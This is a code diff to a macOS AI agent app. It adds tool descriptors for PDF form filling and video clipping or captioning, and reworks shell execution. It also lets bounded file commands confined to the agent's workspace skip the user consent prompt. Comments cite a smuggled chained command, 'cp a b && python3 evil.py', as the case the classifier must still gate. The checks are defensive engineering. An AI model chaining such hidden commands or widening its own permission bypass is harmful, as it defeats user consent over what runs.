@@ -644,7 +644,7 @@ public enum BuiltInHarnessToolCatalog {
"aspectRatio": "Optional aspect ratio, e.g. \"16:9\" (landscape) or \"9:16\" (portrait).",
"durationSeconds": "Optional clip length in seconds; omit for the model default.",
"negativePrompt": "Optional description of what to keep out of the video.",
- "outDir": "Optional output directory for the result; omit to save to Downloads."
+ "outDir": "Optional output directory; omit to save into the conversation's task folder (the right default)."
],
output: [
"paths": "Newline-separated paths to the saved video file(s).",
@@ -746,6 +746,64 @@ public enum BuiltInHarnessToolCatalog {
verification: ["the task's reported result satisfies the goal"],
metadata: [HarnessToolDescriptor.resultIsEvidenceMetadataKey: "true"]
),
+ descriptor(
+ "pdf.fill",
+ pluginID: "core.pdf",
+ summary: "Fill a fillable PDF form end-to-end. Give it the form file and the data source (a data file, or the values as text); it reads the whole form, maps every value it can — entity name, address, ID numbers, every money line, and the totals it must COMPUTE (net receipts, total income/deductions, taxable income, tax) — writes the filled PDF, and reports what it filled and what it could not. This is the one and only way to fill a fillable form: prefer it over running `pdf-fill` yourself or reading the form field-by-field. It writes a NEW PDF and never overwrites the source. (For a flat/scanned form with no fillable fields, fall back to the `pdf` skill's overlay path.)",
+ input: [
+ "form": "Path to the fillable PDF form to fill.",
+ "data": "Path to the data file with the values to put on the form (or the data itself as text).",
+ "out": "Optional output path for the filled PDF; omit to write out.pdf beside the work."
+ ],
+ output: [
+ "text": "A summary of the fill: the output path, how many fields were applied, and any that could not be placed.",
+ "filePath": "Path to the filled PDF."
+ ],
+ optionalInputKeys: ["out"],
+ permissions: [],
+ safety: .reversible,
+ verification: ["the filled PDF exists and the data values are present in its fields"],
+ metadata: [HarnessToolDescriptor.resultIsEvidenceMetadataKey: "true"]
+ ),
+ descriptor(
+ "shorts.make",
+ pluginID: "core.media",
+ summary: "Turn one long video or podcast into captioned vertical short-form clips, end-to-end, in a SINGLE call. Give it the `source` (a local video path or a URL) and optionally how many clips (`count`); it transcribes on-device, picks the strongest self-contained moments, cuts each one, reframes to 9:16 following whoever is speaking, and burns in captions — then returns the finished clip files. This is the one and only way to make shorts/Reels/TikToks: prefer it over driving yt-dlp/ffmpeg/transcribe/reframe yourself step by step, which costs a model call at every step. If the user did not say how many clips they want, ask with user.choose BEFORE calling. Pass aspect=\"original\" to caption a video without reframing (e.g. \"add subtitles to this clip\").",
+ input: [
+ "source": "The video to clip: a local file path, or a URL to download.",
+ "count": "Optional number of clips to make; omit to let the pipeline pick the strongest moments.",
+ "aspect": "Optional aspect ratio for the vertical crop (default 9:16). Pass \"original\" to keep the source framing and only add captions."
+ ],
+ output: [
+ "text": "A summary: how many captioned clips were made, and any that could not be finished.",
+ "paths": "Newline-separated paths to the finished clip file(s)."
+ ],
+ optionalInputKeys: ["count", "aspect"],
+ permissions: [],
+ safety: .reversible,
+ verification: ["each returned clip file exists and is playable vertical video with burned-in captions"],
+ metadata: [HarnessToolDescriptor.resultIsEvidenceMetadataKey: "true"]
+ ),
+ descriptor(
+ "media.caption",
+ pluginID: "core.media",
+ summary: "Add subtitles to a video — or translate them into another language — end-to-end, in a SINGLE call. Give it the `source` (a local video path or a URL), and optionally `translateTo` a language (e.g. \"Korean\", \"Spanish\") and a `clipStart`/`clipDuration` to caption just a span. It transcribes on-device, translates if asked, builds a clean SRT, and burns the captions in with a known-good encoder — then returns the captioned video. This is the one and only way to subtitle/caption/translate a video: prefer it over hand-building yt-dlp/ffmpeg/transcribe/llm.generate steps yourself, which reliably explodes into SRT-cleanup and encoder debugging. (For chopping a long video into vertical short-form clips, use `shorts.make` instead.)",
+ input: [
+ "source": "The video to caption: a local file path, or a URL to download.",
+ "translateTo": "Optional language to translate the captions into (e.g. \"Korean\"); omit to caption in the spoken language.",
+ "clipStart": "Optional start of a span to caption (seconds or M:SS / H:MM:SS); omit to caption the whole video.",
+ "clipDuration": "Optional length of that span in seconds; pair with clipStart."
+ ],
+ output: [
+ "text": "A summary: the captioned output path and whether captions were translated.",
+ "paths": "Path to the captioned video file."
+ ],
+ optionalInputKeys: ["translateTo", "clipStart", "clipDuration"],
+ permissions: [],
+ safety: .reversible,
+ verification: ["the returned video exists and shows the (translated) captions burned in"],
+ metadata: [HarnessToolDescriptor.resultIsEvidenceMetadataKey: "true"]
+ ),
descriptor(
"state.verify",
pluginID: "core.verification",
diff --git a/apps/Donkey/Sources/DonkeyRuntime/DonkeyCommandBackends.swift b/apps/Donkey/Sources/DonkeyRuntime/DonkeyCommandBackends.swift
index 550317f8..022cca78 100644
--- a/apps/Donkey/Sources/DonkeyRuntime/DonkeyCommandBackends.swift
+++ b/apps/Donkey/Sources/DonkeyRuntime/DonkeyCommandBackends.swift
@@ -719,8 +719,11 @@ public enum DonkeyCommandBackends {
let timeout = context.call.input["timeoutSeconds"].flatMap(Double.init)
.map { min(max($0, 1), shellTimeoutMax) } ?? shellTimeout
+ // Run from the conversation's working directory when one exists, so relative reads/writes land in
+ // the agent's own folder instead of the home root; falls back to home for a run without a workspace.
+ let workingDirectory = workspaceBaseDir(context)
let result = await Task.detached(priority: .userInitiated) {
- runShellSync(command, timeout: timeout)
+ runShellSync(command, timeout: timeout, workingDirectory: workingDirectory)
}.value
let stdout = boundedOutput(result.stdout)
@@ -769,14 +772,78 @@ public enum DonkeyCommandBackends {
]
)
}
+ var metadata = ["stdout": stdout.text, "exitCode": "0", "stdoutTruncated": String(stdout.truncated)]
+ // Stamp whether this command READ or changed state, so the runtime can tell a scouting step (a
+ // listing, a page dump to read) from a real action (`open -a Music`, `osascript`, a write) even
+ // though both ride the one `shell_exec` tool. A read must not count as the run's produced result.
+ metadata["shell.effect"] = classification.tier == .read ? "read" : "write"
+ // Surface an explicit output file (`-o`/`--out`/`--output <path>`) the command just wrote, so the
+ // workspace records it as a real DELIVERABLE. The `-o` flag is the intentional-output signal that a
+ // `>`-redirect (scratch: a field dump, a page view to read) is not — that distinction is what lets the
+ // runtime tell "produced the result" from "only scouted" and refuse to call a scout-only run done.
+ if let output = explicitOutputFile(command: command, workingDirectory: workingDirectory) {
+ metadata["filePath"] = output
+ }
return success(
context,
summary: stdout.text.isEmpty ? "Command ran (no output)." : stdout.text,
facts: ["lastShellExitCode": "0"],
- metadata: ["stdout": stdout.text, "exitCode": "0", "stdoutTruncated": String(stdout.truncated)]
+ metadata: metadata
)
}
+ /// The absolute path of a file a command wrote via an explicit output flag (`-o`/`--out`/`--output`),
+ /// when that file now exists. Mechanical flag parsing on technical tokens — NOT natural-language intent
+ /// matching: it reads the value after (or attached to) a known flag, resolves it against the working
+ /// directory, and confirms the file is on disk. Returns nil when there is no such flag or the file isn't
+ /// there, so a scratch `>`-redirect (no `-o`) never registers as a deliverable.
+ ///
+ /// Robust to the forms a real command takes: a quoted/spaced path (`-o 'tax return.pdf'`) is one token,
+ /// the equals-attached forms (`-o=out.pdf`, `--output=out.pdf`) are split on `=`, and tools where `-o`
+ /// is NOT an output path (grep's only-matching, ssh's `-o Option=val`) are excluded so a non-output `-o`
+ /// whose neighbor happens to name an existing file is not mis-recorded as a deliverable.
+ static func explicitOutputFile(command: String, workingDirectory: String?) -> String? {
+ let tokens = ShellCommandClassifier.argvTokens(command)
+ .map { $0.trimmingCharacters(in: CharacterSet(charactersIn: "\\\"'")) }
+ guard let first = tokens.first else { return nil }
+ // Don't read `-o` as an output path for tools that overload it for something else.
+ if outputFlagIsNotAFile.contains(ShellCommandClassifier.executableName(first)) { return nil }
+ let flags: Set<String> = ["-o", "--out", "--output", "-output"]
+ var value: String?
+ var index = 0
+ while index < tokens.count {
+ let token = tokens[index]
+ if let equals = token.firstIndex(of: "="), flags.contains(String(token[..<equals])) {
+ value = String(token[token.index(after: equals)...])
+ break
+ }
+ if flags.contains(token), index + 1 < tokens.count {
+ value = tokens[index + 1]
+ break
+ }
+ index += 1
+ }
+ guard let path = value, !path.isEmpty, !path.hasPrefix("-") else { return nil }
+ let resolved: String
+ if (path as NSString).isAbsolutePath {
+ resolved = path
+ } else if path.hasPrefix("~") {
+ resolved = (path as NSString).expandingTildeInPath
+ } else {
+ let base = workingDirectory.flatMap { $0.isEmpty ? nil : $0 }
+ ?? FileManager.default.homeDirectoryForCurrentUser.path
+ resolved = (base as NSString).appendingPathComponent(path)
+ }
+ return FileManager.default.fileExists(atPath: resolved) ? resolved : nil
+ }
+
+ /// Executables that overload `-o`/`-output` for something other than an output file, so the token after
+ /// it is not a produced deliverable: grep family (`-o` = only-matching, takes no value), ssh/scp/sftp
+ /// (`-o Key=Value` config), and sort (`-o` writes in place over an existing file, not a fresh result).
+ private static let outputFlagIsNotAFile: Set<String> = [
+ "grep", "egrep", "fgrep", "rg", "ssh", "scp", "sftp", "sort"
+ ]
+
/// Returns nil when the command is already allowed (run it), or a
/// `waitingForPermission` gate result the runtime turns into an allow-once /
/// always-allow prompt. `highRisk` commands can only be allowed once.
@@ -788,6 +855,20 @@ public enum DonkeyCommandBackends {
let store = ShellPermissionPolicyStore.shared
let signature = classification.signature
+ // The agent doesn't ask permission to read or change files in the dedicated folder it owns. A
+ // reversible-write file command (cp, mkdir, mv, tee, …) runs unprompted when the conversation has a
+ // working directory AND the command is provably confined to it: every segment is a bounded file
+ // mutator (no interpreter can ride along — `cp a b && python3 evil.py` fails the bounded check), and
+ // every path it names resolves inside the workspace (no absolute, `~`, or `..` escape). High-risk
+ // still gates regardless. Anything touching a file Donkey didn't make, or running opaque code, falls
+ // through to the normal consent prompt.
+ if classification.tier == .reversibleWrite,
+ let workspace = workspaceBaseDir(context),
+ ShellCommandClassifier.isBoundedWorkspaceCommand(command),
+ ShellCommandClassifier.commandStaysWithin(command, workspace: workspace) {
+ return nil
+ }
+
var allowed = false
if classification.tier != .highRisk {
allowed = await store.isAlwaysAllowed(signature)
@@ -823,75 +904,187 @@ public enum DonkeyCommandBackends {
var timedOut: Bool
}
- /// Run a one-line command via `/bin/zsh -c`, bounded by `timeout`. Blocking;
- /// always called off the main actor via `Task.detached`.
- private static func runShellSync(_ command: String, timeout: TimeInterval) -> ShellResult {
- let process = Process()
- process.executableURL = URL(fileURLWithPath: "/bin/zsh")
- process.arguments = ["-c", command]
- process.environment = shellEnvironment()
- // Run from the user's home, not the GUI app's inherited cwd (`/`). A user who
- // says "fill out f1120.pdf" means a file under their home — Desktop, Downloads,
- // a project — never the filesystem root. Anchored at `/`, a relative `find .`
- // walks the whole disk, stalls on SIP-protected dirs, and times out without ever
- // reaching the file; anchored at home it lands in the right neighborhood.
- process.currentDirectoryURL = FileManager.default.homeDirectoryForCurrentUser
+ /// The directory a bundled tool or shell command should run in: the conversation's own working
+ /// directory when it exists, else the user's home. Never the GUI app's inherited cwd (`/`), where a
+ /// relative `find .` walks the whole disk, stalls on SIP-protected dirs, and times out. Shared by
+ /// `runShellSync`, `runBundledTool`, and the media/form orchestrators so the rule lives in one place.
+ public static func resolvedWorkingDirectory(_ workingDirectory: String?) -> URL {
+ let fileManager = FileManager.default
+ if let workingDirectory, !workingDirectory.isEmpty, fileManager.fileExists(atPath: workingDirectory) {
+ return URL(fileURLWithPath: workingDirectory, isDirectory: true)
+ }
+ return fileManager.homeDirectoryForCurrentUser
+ }
+
+ /// String form of `resolvedWorkingDirectory`, for callers that thread the working directory as a path.
+ public static func resolvedWorkingDirectoryPath(_ workingDirectory: String?) -> String {
+ resolvedWorkingDirectory(workingDirectory).path
+ }
+
+ private struct ProcessOutput: Sendable {
+ var exitCode: Int32
+ var stdout: Data
+ var stderr: Data
+ var timedOut: Bool
+ }
+
+ /// Run an already-configured process to completion, bounded by `timeout`, draining stdout and stderr
+ /// CONCURRENTLY on their own queues. The concurrent drain is the safety property: a tool that writes
+ /// more than the ~64KB pipe buffer to either stream (a verbose `lit` OCR dump, a Rust panic with a full
+ /// backtrace on stderr) keeps flowing instead of blocking on a full pipe while the parent waits on the
+ /// other stream — the two-pipe deadlock. SIGTERM on timeout, SIGKILL if it ignores that, so the bound is
+ /// real. Blocking; callers run it off the main actor.
+ private static func runProcess(_ process: Process, timeout: TimeInterval) -> ProcessOutput {
let outPipe = Pipe()
let errPipe = Pipe()
process.standardOutput = outPipe
process.standardError = errPipe
- // Signalled by the OS when the process actually exits — the only
- // reliable completion signal (reading the pipes first can deadlock if the
- // child fills the 64KB buffer and blocks on write).
+ // Signalled by the OS when the process actually exits.
let finished = DispatchSemaphore(value: 0)
process.terminationHandler = { _ in finished.signal() }
do {
try process.run()
} catch {
- return ShellResult(exitCode: 127, stdout: "", stderr: error.localizedDescription, timedOut: false)
+ return ProcessOutput(exitCode: 127, stdout: Data(), stderr: Data(error.localizedDescription.utf8), timedOut: false)
}
+ // Drain both streams in parallel so neither can fill its pipe and block the child before it exits.
+ // Each reader stores into a locked box; the DispatchGroup join below is the happens-before barrier.
+ let outBox = DataBox()
+ let errBox = DataBox()
+ let readers = DispatchGroup()
+ let outQueue = DispatchQueue(label: "donkey.process.stdout")
+ let errQueue = DispatchQueue(label: "donkey.process.stderr")
+ readers.enter()
+ outQueue.async { outBox.set(outPipe.fileHandleForReading.readDataToEndOfFile()); readers.leave() }
+ readers.enter()
+ errQueue.async { errBox.set(errPipe.fileHandleForReading.readDataToEndOfFile()); readers.leave() }
+
var timedOut = false
if finished.wait(timeout: .now() + timeout) == .timedOut {
timedOut = true
process.terminate() // SIGTERM
- // Escalate to SIGKILL if it ignores SIGTERM, so the bound is real.
if finished.wait(timeout: .now() + 1.0) == .timedOut {
kill(process.processIdentifier, SIGKILL)
finished.wait()
}
}
+ // The process has exited (or been killed), so the pipe write ends close, the readers hit EOF and
+ // return, and this join completes promptly.
+ readers.wait()
+ return ProcessOutput(exitCode: process.terminationStatus, stdout: outBox.get(), stderr: errBox.get(), timedOut: timedOut)
+ }
- // The process has exited, so the pipe write ends are closed and these
- // reads return promptly without deadlocking.
- let outData = outPipe.fileHandleForReading.readDataToEndOfFile()
- let errData = errPipe.fileHandleForReading.readDataToEndOfFile()
+ /// A lock-guarded `Data` cell so the two stream-reader queues in `runProcess` can hand their result back
+ /// without the compiler flagging a captured-var data race; the `DispatchGroup` join is what orders the
+ /// write before the read.
+ private final class DataBox: @unchecked Sendable {
+ private let lock = NSLock()
+ private var data = Data()
+ func set(_ value: Data) { lock.lock(); data = value; lock.unlock() }
+ func get() -> Data { lock.lock(); defer { lock.unlock() }; return data }
+ }
+ /// Run a one-line command via `/bin/zsh -c`, bounded by `timeout`. Blocking;
+ /// always called off the main actor via `Task.detached`.
+ private static func runShellSync(
+ _ command: String,
+ timeout: TimeInterval,
+ workingDirectory: String? = nil
+ ) -> ShellResult {
+ let process = Process()
+ process.executableURL = URL(fileURLWithPath: "/bin/zsh")
+ process.arguments = ["-c", command]
+ process.environment = shellEnvironment()
+ process.currentDirectoryURL = resolvedWorkingDirectory(workingDirectory)
+ let output = runProcess(process, timeout: timeout)
return ShellResult(
- exitCode: process.terminationStatus,
- stdout: String(data: outData, encoding: .utf8)?.trimmingCharacters(in: .whitespacesAndNewlines) ?? "",
- stderr: String(data: errData, encoding: .utf8)?.trimmingCharacters(in: .whitespacesAndNewlines) ?? "",
- timedOut: timedOut
+ exitCode: output.exitCode,
+ stdout: String(data: output.stdout, encoding: .utf8)?.trimmingCharacters(in: .whitespacesAndNewlines) ?? "",
+ stderr: String(data: output.stderr, encoding: .utf8)?.trimmingCharacters(in: .whitespacesAndNewlines) ?? "",
+ timedOut: output.timedOut
)
}
+ /// Run a bundled command-line tool (`pdf-fill`, `lit`, …) DIRECTLY by resolving its path in the
+ /// bundled-tools dir, bypassing the shell so arguments with spaces or `⟦…⟧` need no quoting. Falls
+ /// back to the bare name through the login-shell PATH when the bundled dir can't be resolved. Uses
+ /// `shellEnvironment()` so PDFIUM_LIB_PATH and the bundled PATH are set, and runs in `workingDirectory`
+ /// (else home). Blocking — callers run it off the main actor. Used by `FormFillOrchestrator` so the
+ /// `pdf.fill` pipeline drives `pdf-fill` without going through the model-facing `shell_exec` gate.
+ public static func runBundledTool(
+ _ name: String,
+ _ arguments: [String],
+ workingDirectory: String?
+ ) -> (exitCode: Int32, stdout: String, stderr: String) {
+ let process = Process()
+ if let directory = bundledToolsDirectory {
+ let binary = directory.appendingPathComponent(name)
+ if FileManager.default.isExecutableFile(atPath: binary.path) {
+ process.executableURL = binary
+ process.arguments = arguments
+ }
+ }
+ if process.executableURL == nil {
+ // No bundled copy — run the bare name through the shell so PATH resolves it.
+ process.executableURL = URL(fileURLWithPath: "/bin/zsh")
+ let quoted = ([name] + arguments)
+ .map { "'" + $0.replacingOccurrences(of: "'", with: "'\\''") + "'" }
+ .joined(separator: " ")
+ process.arguments = ["-c", quoted]
+ }
+ process.environment = shellEnvironment()
+ process.currentDirectoryURL = resolvedWorkingDirectory(workingDirectory)
+ // Concurrent drain via runProcess: the large `--full` dump on stdout and a verbose error on stderr
+ // both flow without either pipe filling and deadlocking the child. Bounded by a generous timeout so a
+ // runaway tool can't hang the pipeline forever (a normal parse/fill finishes in well under this).
+ let output = runProcess(process, timeout: bundledToolTimeoutSeconds)
+ return (
+ output.exitCode,
+ String(data: output.stdout, encoding: .utf8) ?? "",
+ String(data: output.stderr, encoding: .utf8) ?? ""
+ )
+ }
+
+ /// Upper bound for a single bundled-tool run. Generous — a long OCR pass over a big scanned PDF is fine
+ /// — but finite, so a wedged child is eventually killed instead of hanging the form/media pipeline.
+ private static let bundledToolTimeoutSeconds: TimeInterval = 900
+
/// The directory holding the bundled command-line tools (`ffmpeg`/`yt-dlp`/...), which skills invoke
/// by bare name and rely on being on the shell PATH. Resolved fresh each call (not cached) so tools
/// that `BundledToolsInstaller` downloads after launch are picked up without a relaunch.
///
- /// Preference order: the first-run download in Application Support, then a copy baked into the app
- /// bundle (the offline override, or a dev symlink). `nil` when neither exists, so the child process
- /// inherits the environment unchanged and skills fall back to whatever the user has installed.
+ /// Preference order: an explicit `DONKEY_TOOLS_DIR` override, then the first-run download in
+ /// Application Support, then a copy baked into the app bundle (the offline override, or a dev symlink).
+ /// `nil` when none exists, so the child process inherits the environment unchanged and skills fall back
+ /// to whatever the user has installed.
+ ///
+ /// The `DONKEY_TOOLS_DIR` override is what lets a test or eval process — where `Bundle.main` is the
+ /// test runner, not the app, so the baked path never resolves — point at the repo's `vendor/donkey-tools`
+ /// and run the SAME bundled `lit`/`pdf-fill`/`ffmpeg` (and pdfium) as production. It mirrors the
+ /// build-time `DONKEY_TOOLS_DIR` convention in `ensure-bundled-tools.sh`.
static var bundledToolsDirectory: URL? {
+ let fileManager = FileManager.default
+ // Read live via getenv: `ProcessInfo.processInfo.environment` is a process-start snapshot, so a test
+ // or eval that `setenv`s this after launch would otherwise not be seen.
+ if let raw = getenv("DONKEY_TOOLS_DIR") {
+ let override = String(cString: raw)
+ if !override.isEmpty {
+ let dir = URL(fileURLWithPath: (override as NSString).expandingTildeInPath, isDirectory: true)
+ if fileManager.fileExists(atPath: dir.path) {
+ return dir
+ }
+ }
+ }
let installed = BundledTools.installDirectory
if BundledTools.isInstalled(at: installed) {
return installed
}
if let baked = Bundle.main.resourceURL?
.appendingPathComponent("donkey-tools", isDirectory: true),
- FileManager.default.fileExists(atPath: baked.path) {
+ fileManager.fileExists(atPath: baked.path) {
return baked
}
return nil
@@ -934,6 +1127,12 @@ public enum DonkeyCommandBackends {
segments.append(loginShellPath)
if let toolsDirectory = bundledToolsDirectory {
segments.append(toolsDirectory.path)
+ // `lit` (liteparse) loads pdfium as a shared library at runtime via dlopen, and pdfium-rs
+ // reads PDFIUM_LIB_PATH for the directory holding `libpdfium.dylib`. We ship that dylib in the
+ // bundled-tools dir next to `lit`, so point the agent's shell at it — otherwise every PDF
+ // parse (`lit parse …`, the pdf skill's label recovery) panics with "could not find pdfium
+ // shared library". Only the agent's child sees this; the app process is untouched.
+ environment["PDFIUM_LIB_PATH"] = toolsDirectory.path
}
environment["PATH"] = segments.joined(separator: ":")
return environment
diff --git a/apps/Donkey/Sources/DonkeyRuntime/ShellCommandClassifier.swift b/apps/Donkey/Sources/DonkeyRuntime/ShellCommandClassifier.swift
index 41261656..420f8712 100644
--- a/apps/Donkey/Sources/DonkeyRuntime/ShellCommandClassifier.swift
+++ b/apps/Donkey/Sources/DonkeyRuntime/ShellCommandClassifier.swift
@@ -55,6 +55,73 @@ public enum ShellCommandClassifier {
// MARK: - Public API
+ /// Reversible-write signatures whose whole job is creating or transforming files, and whose ENTIRE
+ /// effect is its visible path arguments — the core file mutators. When the conversation has a dedicated
+ /// working directory the agent owns, and every path the command names stays inside that directory, these
+ /// run WITHOUT a consent prompt: the agent is manipulating its own sandbox, exactly the work the user
+ /// said it shouldn't have to ask to do.
+ ///
+ /// Scripting interpreters (`python3`, `ruby`, `perl`, `node`) are deliberately ABSENT. Their effect is
+ /// the code they run, not the paths in argv — `python3 script.py` can delete a user folder no static
+ /// look at the command line can see — so "a workspace exists" is no containment at all for them. They
+ /// stay on the normal consent path, surfacing a clear "runs a … script" prompt the user can
+ /// always-allow. Tools with side effects beyond the filesystem (osascript, open, killall, …) are absent
+ /// for the same reason.
+ public static let workspaceFileToolSignatures: Set<String> = [
+ "mkdir", "touch", "cp", "mv", "ln", "tee", "sed -i"
+ ]
+
+ /// Whether a classification signature is a bounded file mutator that may run unprompted inside the
+ /// agent's own working directory. See `workspaceFileToolSignatures`.
+ public static func isWorkspaceFileTool(_ signature: String) -> Bool {
+ workspaceFileToolSignatures.contains(signature)
+ }
+
+ /// True only when EVERY segment of the command is a read or a bounded workspace file-mutator. This is
+ /// what makes the no-consent workspace bypass sound for a CHAIN: a benign `cp` (which would otherwise be
+ /// the deciding signature on `cp a b && python3 evil.py`) cannot carry a piggybacked interpreter through
+ /// unprompted, because the `python3` segment is reversible but is not a workspace file tool, so the
+ /// chain as a whole fails this check and prompts.
+ public static func isBoundedWorkspaceCommand(_ command: String) -> Bool {
+ for rawSegment in splitSegments(command) {
+ let tokens = tokenize(rawSegment)
+ guard !tokens.isEmpty else { continue }
+ let segment = classifySegment(tokens)
+ if segment.tier == .read { continue }
+ if segment.tier == .reversibleWrite, isWorkspaceFileTool(segment.signature) { continue }
+ return false
+ }
+ return true
+ }
+
+ /// Whether every filesystem path the command names resolves INSIDE `workspace`. Paired with
+ /// `isBoundedWorkspaceCommand` so the no-consent bypass fires only when the command both uses bounded
+ /// tools AND cannot reach outside the folder Donkey owns — escape is then impossible by construction.
+ /// Argv-token analysis on technical fields, never natural-language intent: a bare name (no slash) is a
+ /// file in the working directory, which IS the workspace, and stays in; an absolute path, a `~` path, or
+ /// a relative path that climbs out with `..` must resolve within the workspace or the command is treated
+ /// as reaching outside (and so prompts). A token that merely contains `/` but is not a real path (a
+ /// `sed` script like `s/a/b/`) resolves under the workspace and stays in, so it never forces a prompt.
+ public static func commandStaysWithin(_ command: String, workspace: String) -> Bool {
+ let root = URL(fileURLWithPath: (workspace as NSString).expandingTildeInPath).standardizedFileURL.path
+ guard !root.isEmpty else { return false }
+ for raw in argvTokens(command) {
+ let token = raw.trimmingCharacters(in: CharacterSet(charactersIn: "\\\"'"))
+ guard tokenLooksLikePath(token) else { continue }
+ let expanded = (token as NSString).expandingTildeInPath
+ let resolved = (expanded as NSString).isAbsolutePath
+ ? URL(fileURLWithPath: expanded).standardizedFileURL.path
+ : URL(fileURLWithPath: root).appendingPathComponent(expanded).standardizedFileURL.path
+ if resolved != root, !resolved.hasPrefix(root + "/") { return false }
+ }
+ return true
+ }
+
+ private static func tokenLooksLikePath(_ token: String) -> Bool {
+ guard !token.isEmpty, !token.hasPrefix("-") else { return false }
+ return token.hasPrefix("/") || token.hasPrefix("~") || token.contains("/")
+ }
+
/// Classify a one-line command. The overall tier is the most restrictive
/// across all pipeline/substitution segments (so `mdfind x | xargs rm`
/// classifies as `highRisk`), and the returned signature/reason come from
@@ -285,6 +352,18 @@ public enum ShellCommandClassifier {
/// silently. Leading environment assignments (`FOO=bar cmd`) are dropped so the
/// executable is found.
private static func tokenize(_ segment: String) -> [String] {
+ var tokens = argvTokens(segment)
+ while let first = tokens.first, first.contains("="), !first.hasPrefix("-"), isLeadingAssignment(first) {
+ tokens.removeFirst()
+ }
+ return tokens
+ }
+
+ /// Quote-aware split into argv tokens, honoring single/double quotes and backslash escapes (quote
+ /// characters are kept in the token so a path detector can dequote and an executable normalizer can
+ /// path-strip). The shared primitive behind `tokenize` (which then drops leading env assignments),
+ /// `commandStaysWithin`, and the output-file detector — so none of them re-implement shell quoting.
+ static func argvTokens(_ segment: String) -> [String] {
var tokens: [String] = []
var current = ""
var hasToken = false
@@ -330,9 +409,6 @@ public enum ShellCommandClassifier {
if hasToken {
tokens.append(current)
}
- while let first = tokens.first, first.contains("="), !first.hasPrefix("-"), isLeadingAssignment(first) {
- tokens.removeFirst()
- }
return tokens
}
@@ -344,6 +420,12 @@ public enum ShellCommandClassifier {
&& (name.first?.isNumber == false)
}
+ /// The bare executable name of a command's first token (path-stripped, dequoted, lowercased) — e.g.
+ /// `/usr/bin/grep` → `grep`. Public so the output-file detector can recognize tools that overload `-o`.
+ public static func executableName(_ token: String) -> String {
+ normalizedExecutable(token)
+ }
+
/// Path-strip and dequote a token down to its bare executable name.
private static func normalizedExecutable(_ token: String) -> String {
let dequoted = token.trimmingCharacters(in: CharacterSet(charactersIn: "\\'\"$"))
@@ -415,7 +497,14 @@ public enum ShellCommandClassifier {
/// Read-only inspection tools — safe to run without a prompt. Tools whose
/// read/write split depends on a subcommand (defaults, pmset, networksetup,
/// scutil, plutil, sed) are handled in `refine` and intentionally absent here.
+ ///
+ /// `cd`/`pushd`/`popd` are pure directory navigation: they change only the shell's working directory and
+ /// touch no file or state, so they are reads. This matters because `cd <dir> && <real command>` is the
+ /// idiom the planner uses to scope work into the folder it owns — without `cd` here it classified as an
+ /// "unrecognized command" (reversibleWrite) and the most-restrictive-segment rule dragged the whole chain
+ /// to a consent prompt, gating even a bundled tool reworking files the agent itself created.
private static let readExecutables: Set<String> = [
+ "cd", "pushd", "popd",
"ls", "cat", "head", "tail", "grep", "egrep", "fgrep", "rg", "find", "mdfind", "mdls",
"which", "type", "whereis", "echo", "printf", "date", "cal", "df", "du", "pwd", "whoami",
"id", "uname", "hostname", "sw_vers", "system_profiler", "ioreg", "vm_stat", "uptime",
diff --git a/apps/Donkey/Sources/DonkeyUI/UserQueryNotchStatusView.swift b/apps/Donkey/Sources/DonkeyUI/UserQueryNotchStatusView.swift
index 2714fa5a..e444712d 100644
--- a/apps/Donkey/Sources/DonkeyUI/UserQueryNotchStatusView.swift
+++ b/apps/Donkey/Sources/DonkeyUI/UserQueryNotchStatusView.swift
@@ -830,8 +830,8 @@ public struct UserQueryNotchStatusView: View {
Spacer(minLength: 0)
- if isWorking, let started = primaryConversation?.createdAt {
- elapsedTimer(since: started)
+ if isWorking, let conversation = primaryConversation {
+ elapsedTimer(for: conversation)
}
}
.padding(.horizontal, 12)
@@ -848,10 +848,11 @@ public struct UserQueryNotchStatusView: View {
}
/// A count-up elapsed-time label for a running conversation — the timeline ticks every second on its
- /// own, so a long-running query visibly advances instead of looking stuck.
- private func elapsedTimer(since start: Date) -> some View {
- TimelineView(.periodic(from: start, by: 1)) { context in
- Text(Self.elapsedDescription(from: start, to: context.date))
+ /// own, so a long-running query visibly advances instead of looking stuck. Counts the conversation's
+ /// whole active time (banked stretches plus the current one), so a resume continues rather than resets.
+ private func elapsedTimer(for conversation: UserQueryConversation) -> some View {
+ TimelineView(.periodic(from: conversation.createdAt, by: 1)) { context in
+ Text(Self.elapsedDescription(seconds: Self.conversationElapsedSeconds(conversation, asOf: context.date)))
.font(.system(size: 11, weight: .regular).monospacedDigit())
.foregroundStyle(Color.white.opacity(0.5))
.lineLimit(1)
@@ -859,12 +860,24 @@ public struct UserQueryNotchStatusView: View {
}
}
+ /// A conversation's total active time. Thin pass-through to `UserQueryConversation.activeSeconds`, the
+ /// single source of "elapsed" — banked stretches plus the open one — so a resumed conversation keeps
+ /// counting up instead of resetting and idle gaps are never counted.
+ static func conversationElapsedSeconds(_ conversation: UserQueryConversation, asOf now: Date) -> Double {
+ conversation.activeSeconds(asOf: now)
+ }
+
/// Formats elapsed time as "45m 13s" (or "1h 45m 13s"), dropping any leading zero units.
static func elapsedDescription(from start: Date, to now: Date) -> String {
- let totalSeconds = max(0, Int(now.timeIntervalSince(start)))
- let hours = totalSeconds / 3600
- let minutes = (totalSeconds % 3600) / 60
- let seconds = totalSeconds % 60
+ elapsedDescription(seconds: now.timeIntervalSince(start))
+ }
+
+ /// Formats a total elapsed-seconds value as "45m 13s" (or "1h 45m 13s"), dropping any leading zero units.
+ static func elapsedDescription(seconds totalSeconds: Double) -> String {
+ let clamped = max(0, Int(totalSeconds))
+ let hours = clamped / 3600
+ let minutes = (clamped % 3600) / 60
+ let seconds = clamped % 60
var parts: [String] = []
if hours > 0 { parts.append("\(hours)h") }
@@ -1134,10 +1147,10 @@ public struct UserQueryNotchStatusView: View {
private func conversationElapsedLabel(_ conversation: UserQueryConversation) -> some View {
if conversation.status == .running {
TimelineView(.periodic(from: conversation.createdAt, by: 1)) { context in
- conversationElapsedText(Self.elapsedDescription(from: conversation.createdAt, to: context.date))
+ conversationElapsedText(Self.elapsedDescription(seconds: Self.conversationElapsedSeconds(conversation, asOf: context.date)))
}
} else {
- conversationElapsedText(Self.elapsedDescription(from: conversation.createdAt, to: conversation.updatedAt))
+ conversationElapsedText(Self.elapsedDescription(seconds: conversation.accumulatedActiveSeconds))
}
}
@@ -1415,7 +1428,7 @@ public struct UserQueryNotchStatusView: View {
// Waiting on the user, same as a clarification or review — show the attention glyph.
attentionGlyph()
case .running:
- fullLiveTime(since: conversation.createdAt)
+ fullLiveTime(for: conversation)
case .completed, .paused, .interrupted, .failed, .chatting, .needsAttention, .timedOut:
